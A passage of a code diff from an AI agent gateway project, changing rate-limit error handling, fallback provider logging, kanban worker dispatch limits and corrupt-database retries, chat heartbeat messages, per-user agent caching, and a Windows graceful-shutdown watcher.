+                os.environ["HERMES_MEDIA_DELIVERY_STRICT"] = (
+                    "1" if _strict else "0"
+                )
             _allow_dirs = _gateway_cfg.get("media_delivery_allow_dirs")
             if _allow_dirs:
                 if isinstance(_allow_dirs, str):
@@ -1078,14 +1085,19 @@ def _resolve_runtime_agent_kwargs() -> dict:
         resolve_runtime_provider,
         format_runtime_provider_error,
     )
-    from hermes_cli.auth import AuthError
+    from hermes_cli.auth import AuthError, is_rate_limited_auth_error
 
     try:
         runtime = resolve_runtime_provider()
     except AuthError as auth_exc:
-        # Primary provider auth failed (expired token, revoked key, etc.).
-        # Try the fallback provider chain before raising.
-        logger.warning("Primary provider auth failed: %s — trying fallback", auth_exc)
+        # Distinguish a transient rate-limit/quota cap (credentials are fine,
+        # re-auth cannot help) from a genuine auth failure (expired/revoked
+        # token). Both fall through to the fallback chain, but the log message
+        # must not mislabel a quota exhaustion as an auth failure (#32790).
+        if is_rate_limited_auth_error(auth_exc):
+            logger.warning("Primary provider rate-limited (429): %s — trying fallback", auth_exc)
+        else:
+            logger.warning("Primary provider auth failed: %s — trying fallback", auth_exc)
         fb_config = _try_resolve_fallback_provider()
         if fb_config is not None:
             return fb_config
@@ -1131,9 +1143,13 @@ def _try_resolve_fallback_provider() -> dict | None:
                     explicit_base_url=entry.get("base_url"),
                     explicit_api_key=explicit_api_key,
                 )
+                # Log the literal `provider` key from config, not the resolved
+                # runtime category — an Ollama fallback resolves through the
+                # OpenAI-compatible path and would otherwise be logged as
+                # "openrouter", contradicting the operator's config (#32790).
                 logger.info(
                     "Fallback provider resolved: %s model=%s",
-                    runtime.get("provider"),
+                    entry.get("provider") or runtime.get("provider"),
                     entry.get("model"),
                 )
                 return {
@@ -3223,9 +3239,21 @@ class GatewayRunner:
 
         self._busy_ack_ts[session_key] = now
 
-        # Build a status-rich acknowledgment
+        # Build a status-rich acknowledgment. Mobile chat defaults keep this
+        # terse; detailed iteration/tool state is still available in logs and
+        # can be opted in per platform via display.platforms.<platform>.busy_ack_detail.
+        from gateway.display_config import resolve_display_setting
         status_parts = []
-        if running_agent and running_agent is not _AGENT_PENDING_SENTINEL:
+        busy_ack_detail_enabled = bool(
+            resolve_display_setting(
+                _load_gateway_config(),
+                _platform_config_key(event.source.platform),
+                "busy_ack_detail",
+                True,
+            )
+        )
+
+        if busy_ack_detail_enabled and running_agent and running_agent is not _AGENT_PENDING_SENTINEL:
             try:
                 summary = running_agent.get_activity_summary()
                 iteration = summary.get("api_call_count", 0)
@@ -5392,6 +5420,49 @@ class GatewayRunner:
             )
             stale_timeout_seconds = 0
 
+        # Read kanban.default_assignee — fallback profile for tasks
+        # created without an explicit assignee (e.g. via the dashboard).
+        # When set, the dispatcher applies it to unassigned ready tasks
+        # instead of skipping them indefinitely (#27145). Empty string
+        # (the schema default) means "no fallback, keep skipping" —
+        # backward-compatible with existing installs.
+        default_assignee = (kanban_cfg.get("default_assignee") or "").strip() or None
+        if default_assignee:
+            logger.info(
+                "kanban dispatcher: default_assignee=%r (unassigned ready tasks "
+                "will route to this profile)",
+                default_assignee,
+            )
+
+        # Read kanban.max_in_progress_per_profile — per-profile concurrency
+        # cap (#21582). When set, no single profile gets more than N
+        # workers running at once, even if the global max_in_progress
+        # would allow it. Prevents one profile's local model / API quota
+        # / browser pool from being overwhelmed by a fan-out.
+        raw_per_profile = kanban_cfg.get("max_in_progress_per_profile", None)
+        max_in_progress_per_profile = None
+        if raw_per_profile is not None:
+            try:
+                max_in_progress_per_profile = int(raw_per_profile)
+            except (TypeError, ValueError):
+                logger.warning(
+                    "kanban dispatcher: invalid kanban.max_in_progress_per_profile=%r; ignoring",
+                    raw_per_profile,
+                )
+                max_in_progress_per_profile = None
+            else:
+                if max_in_progress_per_profile < 1:
+                    logger.warning(
+                        "kanban dispatcher: kanban.max_in_progress_per_profile=%r is below 1; ignoring",
+                        raw_per_profile,
+                    )
+                    max_in_progress_per_profile = None
+                else:
+                    logger.info(
+                        "kanban dispatcher: max_in_progress_per_profile=%d",
+                        max_in_progress_per_profile,
+                    )
+
         # Initial delay so the gateway finishes wiring adapters before the
         # dispatcher spawns workers (those workers may hit gateway notify
         # subscriptions etc.). Matches the notifier watcher's delay.
@@ -5403,7 +5474,13 @@ class GatewayRunner:
         HEALTH_WINDOW = 6
         bad_ticks = 0
         last_warn_at = 0
-        disabled_corrupt_boards: dict[str, tuple[str, int | None, int | None]] = {}
+        # Avoid hot-looping corrupt-looking board DBs, but do not suppress
+        # same-fingerprint retries forever: transient WAL/open races can
+        # surface as "database disk image is malformed" for one tick.
+        CORRUPT_BOARD_RETRY_AFTER_SECONDS = 300
+        disabled_corrupt_boards: dict[
+            str, tuple[tuple[str, int | None, int | None], float]
+        ] = {}
 
         def _board_db_fingerprint(slug: str) -> tuple[str, int | None, int | None]:
             path = _kb.kanban_db_path(slug)
@@ -5418,6 +5495,9 @@ class GatewayRunner:
             return (resolved, stat.st_mtime_ns, stat.st_size)
 
         def _is_corrupt_board_db_error(exc: Exception) -> bool:
+            corrupt_guard_error = getattr(_kb, "KanbanDbCorruptError", None)
+            if corrupt_guard_error is not None and isinstance(exc, corrupt_guard_error):
+                return True
             if not isinstance(exc, sqlite3.DatabaseError):
                 return False
             msg = str(exc).lower()
@@ -5437,14 +5517,27 @@ class GatewayRunner:
             """
             conn = None
             fingerprint = _board_db_fingerprint(slug)
-            disabled_fingerprint = disabled_corrupt_boards.get(slug)
-            if disabled_fingerprint == fingerprint:
-                return None
-            if disabled_fingerprint is not None:
-                logger.info(
-                    "kanban dispatcher: board %s database changed; retrying dispatch",
-                    slug,
-                )
+            disabled_entry = disabled_corrupt_boards.get(slug)
+            if disabled_entry is not None:
+                disabled_fingerprint, disabled_at = disabled_entry
+                age = time.monotonic() - disabled_at
+                if (
+                    disabled_fingerprint == fingerprint
+                    and age < CORRUPT_BOARD_RETRY_AFTER_SECONDS
+                ):
+                    return None
+                if disabled_fingerprint == fingerprint:
+                    logger.info(
+                        "kanban dispatcher: board %s database fingerprint unchanged "
+                        "after %.0fs quarantine; retrying dispatch",
+                        slug,
+                        age,
+                    )
+                else:
+                    logger.info(
+                        "kanban dispatcher: board %s database changed; retrying dispatch",
+                        slug,
+                    )
                 disabled_corrupt_boards.pop(slug, None)
             try:
                 conn = _kb.connect(board=slug)
@@ -5461,23 +5554,37 @@ class GatewayRunner:
                     max_in_progress=max_in_progress,
                     failure_limit=failure_limit,
                     stale_timeout_seconds=stale_timeout_seconds,
+                    default_assignee=default_assignee,
+                    max_in_progress_per_profile=max_in_progress_per_profile,
                 )
             except sqlite3.DatabaseError as exc:
                 if _is_corrupt_board_db_error(exc):
-                    disabled_corrupt_boards[slug] = fingerprint
+                    disabled_corrupt_boards[slug] = (fingerprint, time.monotonic())
                     logger.error(
                         "kanban dispatcher: board %s database %s is not a valid "
-                        "SQLite database; disabling dispatch for this board "
-                        "until the file changes or the gateway restarts. Move "
-                        "or restore the file, then run `hermes kanban init` if "
-                        "you need a fresh board.",
+                        "SQLite database; pausing dispatch for this board until "
+                        "the file changes, the gateway restarts, or the "
+                        "quarantine timer expires. Move or restore the file, "
+                        "then run `hermes kanban init` if you need a fresh board.",
                         slug,
                         fingerprint[0],
                     )
                     return None
                 logger.exception("kanban dispatcher: tick failed on board %s", slug)
                 return None
-            except Exception:
+            except Exception as exc:
+                if _is_corrupt_board_db_error(exc):
+                    disabled_corrupt_boards[slug] = (fingerprint, time.monotonic())
+                    logger.error(
+                        "kanban dispatcher: board %s database %s is not a valid "
+                        "SQLite database; pausing dispatch for this board until "
+                        "the file changes, the gateway restarts, or the "
+                        "quarantine timer expires. Move or restore the file, "
+                        "then run `hermes kanban init` if you need a fresh board.",
+                        slug,
+                        fingerprint[0],
+                    )
+                    return None
                 logger.exception("kanban dispatcher: tick failed on board %s", slug)
                 return None
             finally:
@@ -5636,6 +5743,19 @@ class GatewayRunner:
             "kanban dispatcher: embedded in gateway (interval=%.1fs)", interval
         )
         while self._running:
+            try:
+                # Reap zombie children before per-board work so a board DB
+                # failure cannot block cleanup of unrelated workers.
+                pids = await asyncio.to_thread(_kb.reap_worker_zombies)
+                if pids:
+                    logger.info(
+                        "kanban dispatcher: reaped %d zombie worker(s), pids=%s",
+                        len(pids),
+                        pids,
+                    )
+            except Exception:
+                logger.exception("kanban dispatcher: zombie reaper failed")
+
             try:
                 if auto_decompose_enabled:
                     await asyncio.to_thread(_auto_decompose_tick)
@@ -6294,7 +6414,7 @@ class GatewayRunner:
                 check_wecom_callback_requirements,
             )
             if not check_wecom_callback_requirements():
-                logger.warning("WeComCallback: aiohttp/httpx not installed")
+                logger.warning("WeComCallback: aiohttp/httpx/defusedxml not installed")
                 return None
             return WecomCallbackAdapter(config)
 
@@ -7025,6 +7145,13 @@ class GatewayRunner:
                 if _denied is not None:
                     return _denied
 
+            # Telegram sends /start for bot launches/deep-links. Treat it as a
+            # platform ping, not a user command: no help dump, no agent
+            # interrupt, no queued text.
+            if _cmd_def_inner and _cmd_def_inner.name == "start":
+                logger.info("Ignoring /start platform ping for active session %s", _quick_key)
+                return ""
+
             if _cmd_def_inner and _cmd_def_inner.name == "restart":
                 return await self._handle_restart_command(event)
 
@@ -7458,6 +7585,10 @@ class GatewayRunner:
         if canonical == "help":
             return await self._handle_help_command(event)
 
+        if canonical == "start":
+            logger.info("Ignoring /start platform ping for session %s", _quick_key)
+            return ""
+
         if canonical == "commands":
             return await self._handle_commands_command(event)
         
@@ -7938,7 +8069,8 @@ class GatewayRunner:
                                 "🎤 I received your voice message but can't transcribe it — "
                                 "no speech-to-text provider is configured.\n\n"
                                 "To enable voice: install faster-whisper "
-                                "(`pip install faster-whisper` in the Hermes venv) "
+                                "(`uv pip install faster-whisper` in the Hermes venv; "
+                                "`pip install faster-whisper` also works if pip is on PATH) "
                                 "and set `stt.enabled: true` in config.yaml, "
                                 "then /restart the gateway."
                             )
@@ -10161,8 +10293,16 @@ class GatewayRunner:
 
         raw_args = event.get_command_args().strip()
 
-        # Parse --provider and --global flags
-        model_input, explicit_provider, persist_global = parse_model_flags(raw_args)
+        # Parse --provider, --global, and --refresh flags
+        model_input, explicit_provider, persist_global, force_refresh = parse_model_flags(raw_args)
+
+        # --refresh: bust the disk cache so the picker shows live data.
+        if force_refresh:
+            try:
+                from hermes_cli.models import clear_provider_models_cache
+                clear_provider_models_cache()
+            except Exception:
+                pass
 
         # Read current model/provider from config
         current_model = ""
@@ -11736,6 +11876,7 @@ class GatewayRunner:
                     session_id=task_id,
                     platform=platform_key,
                     user_id=source.user_id,
+                    user_id_alt=source.user_id_alt,
                     user_name=source.user_name,
                     chat_id=source.chat_id,
                     chat_name=source.chat_name,
@@ -13339,6 +13480,40 @@ class GatewayRunner:
             else:
                 lines.append(t("gateway.reload_mcp.tools_available", tools=len(new_tools), servers=len(connected_servers)))
 
+            # Refresh cached agents so existing sessions see new MCP tools on
+            # their next turn — without this, the user has to `/new` (which
+            # discards conversation history) to pick up tools from a server
+            # that was just added or reconnected. The user has already
+            # consented to the prompt-cache invalidation via the slash-confirm
+            # gate in _handle_reload_mcp_command before we reach this point.
+            try:
+                from model_tools import get_tool_definitions
+                _cache = getattr(self, "_agent_cache", None)
+                _cache_lock = getattr(self, "_agent_cache_lock", None)
+                if _cache_lock is not None and _cache:
+                    with _cache_lock:
+                        for _sess_key, _entry in list(_cache.items()):
+                            try:
+                                _agent = _entry[0] if isinstance(_entry, tuple) else _entry
+                            except Exception:
+                                continue
+                            if _agent is None:
+                                continue
+                            new_defs = get_tool_definitions(
+                                enabled_toolsets=getattr(_agent, "enabled_toolsets", None),
+                                disabled_toolsets=getattr(_agent, "disabled_toolsets", None),
+                                quiet_mode=True,
+                            )
+                            _agent.tools = new_defs
+                            _agent.valid_tool_names = {
+                                t["function"]["name"] for t in new_defs
+                            } if new_defs else set()
+            except Exception as _exc:
+                logger.debug(
+                    "Failed to update cached agent tools after MCP reload: %s",
+                    _exc,
+                )
+
             # Inject a message at the END of the session history so the
             # model knows tools changed on its next turn.  Appended after
             # all existing messages to preserve prompt-cache for the prefix.
@@ -15004,6 +15179,29 @@ class GatewayRunner:
             out["tools.registry_generation"] = getattr(registry, "_generation", None)
         except Exception:
             out["tools.registry_generation"] = None
+
+        # Honcho identity-mapping keys live in honcho.json, not user_config.
+        # HonchoSessionManager freezes the resolved peer_name / ai_peer /
+        # pin / aliases / prefix at construction; without busting here,
+        # mid-flight honcho.json edits go unread until the next unrelated
+        # cache eviction.
+        try:
+            from plugins.memory.honcho.client import HonchoClientConfig
+
+            hcfg = HonchoClientConfig.from_global_config()
+            out["honcho.peer_name"] = hcfg.peer_name
+            out["honcho.ai_peer"] = hcfg.ai_peer
+            out["honcho.pin_peer_name"] = bool(hcfg.pin_peer_name)
+            out["honcho.runtime_peer_prefix"] = hcfg.runtime_peer_prefix or ""
+            aliases = hcfg.user_peer_aliases or {}
+            out["honcho.user_peer_aliases"] = sorted(aliases.items()) if isinstance(aliases, dict) else []
+        except Exception:
+            out["honcho.peer_name"] = None
+            out["honcho.ai_peer"] = None
+            out["honcho.pin_peer_name"] = None
+            out["honcho.runtime_peer_prefix"] = None
+            out["honcho.user_peer_aliases"] = None
+
         return out
 
     @staticmethod
@@ -15013,6 +15211,8 @@ class GatewayRunner:
         enabled_toolsets: list,
         ephemeral_prompt: str,
         cache_keys: dict | None = None,
+        user_id: str | None = None,
+        user_id_alt: str | None = None,
     ) -> str:
         """Compute a stable string key from agent config values.
 
@@ -15026,6 +15226,20 @@ class GatewayRunner:
         the output of ``_extract_cache_busting_config(user_config)`` so
         edits to model.context_length / compression.* in config.yaml are
         picked up on the next gateway message without a manual restart.
+
+        ``user_id`` and ``user_id_alt`` are the runtime user identities
+        carried by the current message's gateway source.  They participate
+        in the cache key because the Honcho memory provider freezes them
+        into ``HonchoSessionManager`` at first-message init (see
+        ``plugins/memory/honcho/__init__.py::_do_session_init``).  Without
+        them in the signature, a shared-thread session_key (one in which
+        ``build_session_key`` intentionally omits the participant ID,
+        e.g. ``thread_sessions_per_user=False``) would reuse the cached
+        AIAgent across distinct users, causing the second user's messages
+        to be attributed to the first user's resolved Honcho peer.  This
+        broke #27371's per-user-peer contract in multi-user gateways.
+        Per-user agent rebuilds in shared threads trade prompt-cache
+        warmth for correct memory attribution.
         """
         import hashlib, json as _j
 
@@ -15050,6 +15264,8 @@ class GatewayRunner:
                 # cached agent and doesn't affect system prompt or tools.
                 ephemeral_prompt or "",
                 _cache_keys_sorted,
+                str(user_id or ""),
+                str(user_id_alt or ""),
             ],
             sort_keys=True,
             default=str,
@@ -15829,9 +16045,13 @@ class GatewayRunner:
         # in chat platforms while opting into concise mid-turn updates.
         interim_assistant_messages_enabled = (
             source.platform != Platform.WEBHOOK
-            and is_truthy_value(
-                display_config.get("interim_assistant_messages"),
-                default=True,
+            and bool(
+                resolve_display_setting(
+                    user_config,
+                    platform_key,
+                    "interim_assistant_messages",
+                    True,
+                )
             )
         )
         
@@ -15844,7 +16064,7 @@ class GatewayRunner:
         # Auto-cleanup of temporary progress bubbles (Telegram + any adapter
         # that implements ``delete_message``). When enabled via
         # ``display.platforms.<platform>.cleanup_progress: true``, message IDs
-        # from the tool-progress / "Still working..." / status-callback bubbles
+        # from the tool-progress / "⏳ Working — N min" / status-callback bubbles
         # are collected here and deleted after the final response lands.
         # Failed runs skip cleanup so the bubbles remain as breadcrumbs.
         _cleanup_progress = bool(
@@ -16587,6 +16807,8 @@ class GatewayRunner:
                 enabled_toolsets,
                 combined_ephemeral,
                 cache_keys=self._extract_cache_busting_config(user_config),
+                user_id=getattr(source, "user_id", None),
+                user_id_alt=getattr(source, "user_id_alt", None),
             )
             agent = None
             _cache_lock = getattr(self, "_agent_cache_lock", None)
@@ -16630,6 +16852,7 @@ class GatewayRunner:
                     session_id=session_id,
                     platform=platform_key,
                     user_id=source.user_id,
+                    user_id_alt=source.user_id_alt,
                     user_name=source.user_name,
                     chat_id=source.chat_id,
                     chat_name=source.chat_name,
@@ -17368,6 +17591,15 @@ class GatewayRunner:
         # 0 = disable notifications.
         _NOTIFY_INTERVAL_RAW = _float_env("HERMES_AGENT_NOTIFY_INTERVAL", 180)
         _NOTIFY_INTERVAL = _NOTIFY_INTERVAL_RAW if _NOTIFY_INTERVAL_RAW > 0 else None
+        if not bool(
+            resolve_display_setting(
+                user_config,
+                platform_key,
+                "long_running_notifications",
+                True,
+            )
+        ):
+            _NOTIFY_INTERVAL = None
         _notify_start = time.time()
 
         async def _notify_long_running():
@@ -17376,35 +17608,69 @@ class GatewayRunner:
             _notify_adapter = self.adapters.get(source.platform)
             if not _notify_adapter:
                 return
+            # Track the heartbeat message id so we can edit-in-place on
+            # platforms that support it (Telegram, Discord, Slack, etc.)
+            # instead of spamming a new "Still working" bubble every
+            # interval. Falls back to send-new when edit fails or isn't
+            # supported by the adapter.
+            _heartbeat_msg_id: Optional[str] = None
             while True:
                 await asyncio.sleep(_NOTIFY_INTERVAL)
                 _elapsed_mins = int((time.time() - _notify_start) // 60)
-                # Include agent activity context if available.
+                # Include agent activity context if available. Default
+                # heartbeat is terse: elapsed + current tool. Verbose
+                # iteration counter is gated on busy_ack_detail so users
+                # who want it can opt in per platform.
                 _agent_ref = agent_holder[0]
                 _status_detail = ""
+                _want_iteration_detail = bool(
+                    resolve_display_setting(
+                        user_config,
+                        platform_key,
+                        "busy_ack_detail",
+                        True,
+                    )
+                )
                 if _agent_ref and hasattr(_agent_ref, "get_activity_summary"):
                     try:
                         _a = _agent_ref.get_activity_summary()
-                        _parts = [f"iteration {_a['api_call_count']}/{_a['max_iterations']}"]
-                        if _a.get("current_tool"):
-                            _parts.append(f"running: {_a['current_tool']}")
-                        else:
-                            _parts.append(_a.get("last_activity_desc", ""))
-                        _status_detail = " — " + ", ".join(_parts)
+                        _parts = []
+                        if _want_iteration_detail:
+                            _parts.append(
+                                f"iteration {_a['api_call_count']}/{_a['max_iterations']}"
+                            )
+                        _action = _a.get("current_tool") or _a.get("last_activity_desc")
+                        if _action:
+                            _parts.append(str(_action))
+                        if _parts:
+                            _status_detail = " — " + ", ".join(_parts)
                     except Exception:
                         pass
+                _heartbeat_text = f"⏳ Working — {_elapsed_mins} min{_status_detail}"
                 try:
-                    _notify_res = await _notify_adapter.send(
-                        source.chat_id,
-                        f"⏳ Still working... ({_elapsed_mins} min elapsed{_status_detail})",
-                        metadata=_status_thread_metadata,
-                    )
-                    if (
-                        _cleanup_progress
-                        and getattr(_notify_res, "success", False)
-                        and getattr(_notify_res, "message_id", None)
-                    ):
-                        _cleanup_msg_ids.append(str(_notify_res.message_id))
+                    _notify_res = None
+                    if _heartbeat_msg_id:
+                        try:
+                            _notify_res = await _notify_adapter.edit_message(
+                                source.chat_id,
+                                _heartbeat_msg_id,
+                                _heartbeat_text,
+                            )
+                        except Exception as _ee:
+                            logger.debug("Heartbeat edit failed: %s", _ee)
+                            _notify_res = None
+                    if not (_notify_res and getattr(_notify_res, "success", False)):
+                        _notify_res = await _notify_adapter.send(
+                            source.chat_id,
+                            _heartbeat_text,
+                            metadata=_status_thread_metadata,
+                        )
+                        if getattr(_notify_res, "success", False) and getattr(
+                            _notify_res, "message_id", None
+                        ):
+                            _heartbeat_msg_id = str(_notify_res.message_id)
+                            if _cleanup_progress:
+                                _cleanup_msg_ids.append(_heartbeat_msg_id)
                 except Exception as _ne:
                     logger.debug("Long-running notification error: %s", _ne)
 
@@ -17987,6 +18253,72 @@ class GatewayRunner:
         return response
 
 
+def _run_planned_stop_watcher(
+    stop_event: threading.Event,
+    runner,
+    loop: asyncio.AbstractEventLoop,
+    shutdown_handler,
+    *,
+    poll_interval: float = 0.5,
+) -> None:
+    """Poll for the planned-stop marker and trigger graceful shutdown.
+
+    On Windows, ``asyncio.add_signal_handler`` raises NotImplementedError
+    for SIGTERM/SIGINT, so the standard signal-driven shutdown path
+    never runs when ``hermes gateway stop`` signals the gateway. The
+    consequence is that the drain loop is skipped — in-flight agent
+    sessions are killed mid-turn and ``resume_pending`` is never set,
+    so the next gateway boot has no idea those sessions need to be
+    auto-resumed (issue #33778, v0.13.0 session-resume feature broken
+    on native Windows).
+
+    This watcher runs on every platform (cheap, defensive) and bridges
+    the gap on Windows by translating a filesystem marker into the
+    same shutdown-handler invocation a real SIGTERM would have produced
+    on POSIX. The CLI's ``hermes_cli.gateway_windows.stop()`` writes
+    the marker via ``write_planned_stop_marker(pid)`` and then waits
+    for the gateway PID to exit; this watcher is what makes that
+    exit happen cleanly.
+
+    On POSIX this is a no-op safety net — the signal handler always
+    races us to consuming the marker file because it fires synchronously
+    from the kernel's signal delivery.
+
+    Args:
+        stop_event: cleared by start_gateway() during normal shutdown
+            to tell the watcher to exit.
+        runner: the GatewayRunner instance; we check ``_running`` and
+            ``_draining`` to avoid triggering shutdown if the gateway
+            is already in one of those states.
+        loop: the asyncio event loop the shutdown handler must run on.
+        shutdown_handler: same callable that's wired to SIGTERM —
+            tolerates a ``None`` signal argument (planned stop case)
+            and consumes the marker via
+            ``consume_planned_stop_marker_for_self()``.
+        poll_interval: seconds between marker checks. 0.5s gives a
+            responsive shutdown without burning CPU.
+    """
+    from gateway.status import _get_planned_stop_marker_path
+    marker_path = _get_planned_stop_marker_path()
+    while not stop_event.is_set():
+        try:
+            if (
+                marker_path.exists()
+                and not getattr(runner, "_draining", False)
+                and getattr(runner, "_running", False)
+            ):
+                # Drive the same path as a real signal handler.
+                # Pass signal=None — the handler tolerates that and consumes
+                # the marker via consume_planned_stop_marker_for_self,
+                # which also validates target_pid + start_time match us.
+                loop.call_soon_threadsafe(shutdown_handler, None)
+                # Done — the handler will set _draining; we exit on next tick.
+                break
+        except Exception as _e:
+            logger.debug("Planned-stop watcher tick error: %s", _e)
+        stop_event.wait(poll_interval)
+
+
 def _start_cron_ticker(stop_event: threading.Event, adapters=None, loop=None, interval: int = 60):
     """
     Background thread that ticks the cron scheduler at a regular interval.
@@ -18391,7 +18723,28 @@ async def start_gateway(config: Optional[GatewayConfig] = None, replace: bool =
                 pass
     else:
         logger.info("Skipping signal handlers (not running in main thread).")
-    
+
+    # Windows fallback: asyncio.add_signal_handler raises NotImplementedError
+    # on Windows, so `hermes gateway stop`'s SIGTERM (which Python maps to
+    # TerminateProcess on Windows) never invokes shutdown_signal_handler.
+    # That means the drain loop never runs, mark_resume_pending never fires,
+    # and sessions are silently lost across restarts (issue #33778).
+    #
+    # The fix is a marker-polling thread: `hermes gateway stop` writes the
+    # planned-stop marker BEFORE killing, and this thread notices it and
+    # drives the same shutdown path the signal handler would have.  Runs
+    # on every platform (cheap, defensive) so non-signal-bearing
+    # environments (Windows native, sandboxed CI runners that mask
+    # SIGTERM) still get a clean drain.
+    _planned_stop_watcher_stop = threading.Event()
+    _planned_stop_watcher_thread = threading.Thread(
+        target=_run_planned_stop_watcher,
+        args=(_planned_stop_watcher_stop, runner, loop, shutdown_signal_handler),
+        daemon=True,
+        name="planned-stop-watcher",
+    )
+    _planned_stop_watcher_thread.start()
+
     # Claim the PID file BEFORE bringing up any platform adapters.
     # This closes the --replace race window: two concurrent `gateway run
     # --replace` invocations both pass the termination-wait above, but
@@ -18469,6 +18822,10 @@ async def start_gateway(config: Optional[GatewayConfig] = None, replace: bool =
     cron_stop.set()
     cron_thread.join(timeout=5)
 
+    # Stop the planned-stop watcher (daemon=True so this is belt-and-suspenders).
+    _planned_stop_watcher_stop.set()
+    _planned_stop_watcher_thread.join(timeout=2)
+
     # Close MCP server connections
     try:
         from tools.mcp_tool import shutdown_mcp_servers

gateway/stream_consumer.py

@@ -552,11 +552,6 @@ class GatewayStreamConsumer:
                     self._last_edit_time = time.monotonic()
 
                 if got_done:
-                    # Record that the final content reached the user even
-                    # if the cosmetic final edit below fails.
-                    if current_update_visible and self._accumulated:
-                        self._final_content_delivered = True
-
                     # Final edit without cursor. If progressive editing failed
                     # mid-stream, send a single continuation/fallback message
                     # here instead of letting the base gateway path send the
@@ -573,6 +568,7 @@ class GatewayStreamConsumer:
                             # final edit — but only for adapters that don't
                             # need an explicit finalize signal.
                             self._final_response_sent = True
+                            self._final_content_delivered = True
                         elif self._message_id:
                             # Either the mid-stream edit didn't run (no
                             # visible update this tick) OR the adapter needs
@@ -580,8 +576,12 @@ class GatewayStreamConsumer:
                             self._final_response_sent = await self._send_or_edit(
                                 self._accumulated, finalize=True,
                             )
+                            if self._final_response_sent:
+                                self._final_content_delivered = True
                         elif not self._already_sent:
                             self._final_response_sent = await self._send_or_edit(self._accumulated)
+                            if self._final_response_sent:
+                                self._final_content_delivered = True
                     return
 
                 if commentary_text is not None:
@@ -641,6 +641,7 @@ class GatewayStreamConsumer:
             # "Let me search…") had been delivered, not the real answer.
             if _best_effort_ok and not self._final_response_sent:
                 self._final_response_sent = True
+                self._final_content_delivered = True
         except Exception as e:
             logger.error("Stream consumer error: %s", e)
 
@@ -778,6 +779,7 @@ class GatewayStreamConsumer:
                         pass
                 self._already_sent = True
                 self._final_response_sent = True
+                self._final_content_delivered = True
                 return
 
         raw_limit = getattr(self.adapter, "MAX_MESSAGE_LENGTH", 4096)
@@ -814,11 +816,13 @@ class GatewayStreamConsumer:
 
             if not result or not result.success:
                 if sent_any_chunk:
-                    # Some continuation text already reached the user. Suppress
-                    # the base gateway final-send path so we don't resend the
-                    # full response and create another duplicate.
+                    # Some continuation text already reached the user, but not
+                    # the full response. Do NOT set _final_response_sent — the
+                    # base gateway final-send path should still deliver the
+                    # complete response so the user gets the full answer.
+                    # Suppress only _already_sent to avoid a duplicate send
+                    # of the same partial content.
                     self._already_sent = True
-                    self._final_response_sent = True
                     self._message_id = last_message_id
                     self._last_sent_text = last_successful_chunk
                     self._fallback_prefix = ""
@@ -856,6 +860,7 @@ class GatewayStreamConsumer:
         self._message_id = last_message_id
         self._already_sent = True
         self._final_response_sent = True
+        self._final_content_delivered = True
         self._last_sent_text = chunks[-1]
         self._fallback_prefix = ""
 

hermes_cli/__init__.py

@@ -14,8 +14,8 @@ Provides subcommands for:
 import os
 import sys
 
-__version__ = "0.14.0"
-__release_date__ = "2026.5.16"
+__version__ = "0.15.1"
+__release_date__ = "2026.5.29"
 
 
 def _ensure_utf8():

hermes_cli/auth.py

@@ -379,14 +379,6 @@ PROVIDER_REGISTRY: Dict[str, ProviderConfig] = {
         api_key_env_vars=("NVIDIA_API_KEY",),
         base_url_env_var="NVIDIA_BASE_URL",
     ),
-    "ai-gateway": ProviderConfig(
-        id="ai-gateway",
-        name="Vercel AI Gateway",
-        auth_type="api_key",
-        inference_base_url="https://ai-gateway.vercel.sh/v1",
-        api_key_env_vars=("AI_GATEWAY_API_KEY",),
-        base_url_env_var="AI_GATEWAY_BASE_URL",
-    ),
     "opencode-zen": ProviderConfig(
         id="opencode-zen",
         name="OpenCode Zen",
@@ -402,6 +394,7 @@ PROVIDER_REGISTRY: Dict[str, ProviderConfig] = {
         # OpenCode Go mixes API surfaces by model:
         # - GLM / Kimi use OpenAI-compatible chat completions under /v1
         # - MiniMax models use Anthropic Messages under /v1/messages
+        # - Qwen 3.7 uses Anthropic Messages under /v1/messages
         # Keep the provider base at /v1 and select api_mode per-model.
         inference_base_url="https://opencode.ai/zen/go/v1",
         api_key_env_vars=("OPENCODE_GO_API_KEY",),
@@ -736,6 +729,12 @@ def _resolve_zai_base_url(api_key: str, default_url: str, env_override: str) ->
 # Error Types
 # =============================================================================
 
+# Error code marking upstream rate-limit / usage-quota exhaustion (HTTP 429).
+# Such failures are transient and re-authenticating cannot resolve them, so
+# they must be kept distinct from missing/expired-credential errors.
+CODEX_RATE_LIMITED_CODE = "codex_rate_limited"
+
+
 class AuthError(RuntimeError):
     """Structured auth error with UX mapping hints."""
 
@@ -753,25 +752,68 @@ class AuthError(RuntimeError):
         self.relogin_required = relogin_required
 
 
+def is_rate_limited_auth_error(error: Exception) -> bool:
+    """True when an :class:`AuthError` represents upstream rate-limiting / quota
+    exhaustion rather than missing or invalid credentials.
+
+    These failures are transient — re-authenticating cannot resolve them — so
+    callers should surface a "retry later" notice and prefer a fallback chain
+    instead of prompting the operator to run ``hermes auth``.
+    """
+    return (
+        isinstance(error, AuthError)
+        and not error.relogin_required
+        and error.code == CODEX_RATE_LIMITED_CODE
+    )
+
+
+def _parse_retry_after_seconds(headers: Any) -> Optional[int]:
+    """Best-effort parse of a ``Retry-After`` header into whole seconds.
+
+    Supports the delta-seconds form (e.g. ``"120"``). HTTP-date forms and
+    missing/unparseable values return ``None`` rather than guessing.
+    """
+    if headers is None:
+        return None
+    try:
+        raw = headers.get("retry-after")
+    except Exception:
+        return None
+    if raw is None:
+        return None
+    try:
+        seconds = int(str(raw).strip())
+    except (TypeError, ValueError):
+        return None
+    return seconds if seconds >= 0 else None
+
+
 def format_auth_error(error: Exception) -> str:
     """Map auth failures to concise user-facing guidance."""
     if not isinstance(error, AuthError):
         return str(error)
 
+    # Rate-limit / quota errors are not credential problems — never append the
+    # "re-authenticate" remediation, which would mislead the operator.
+    if is_rate_limited_auth_error(error):
+        return str(error)
+
     if error.relogin_required:
         return f"{error} Run `hermes model` to re-authenticate."
 
     if error.code == "subscription_required":
-        return (
-            "No active paid subscription found on Nous Portal. "
-            "Please purchase/activate a subscription, then retry."
-        )
+        if error.provider == "nous":
+            return _format_nous_entitlement_auth_error(error)
+        return "No active paid subscription found. Please purchase/activate a subscription, then retry."
 
     if error.code == "insufficient_credits":
-        return (
-            "Subscription credits are exhausted. "
-            "Top up/renew credits in Nous Portal, then retry."
-        )
+        if error.provider == "nous":
+            return _format_nous_entitlement_auth_error(error)
+        return "Subscription credits are exhausted. Top up/renew credits, then retry."
+
+    if error.code in {"subscription_expired", "no_usable_credits", "account_missing"}:
+        if error.provider == "nous":
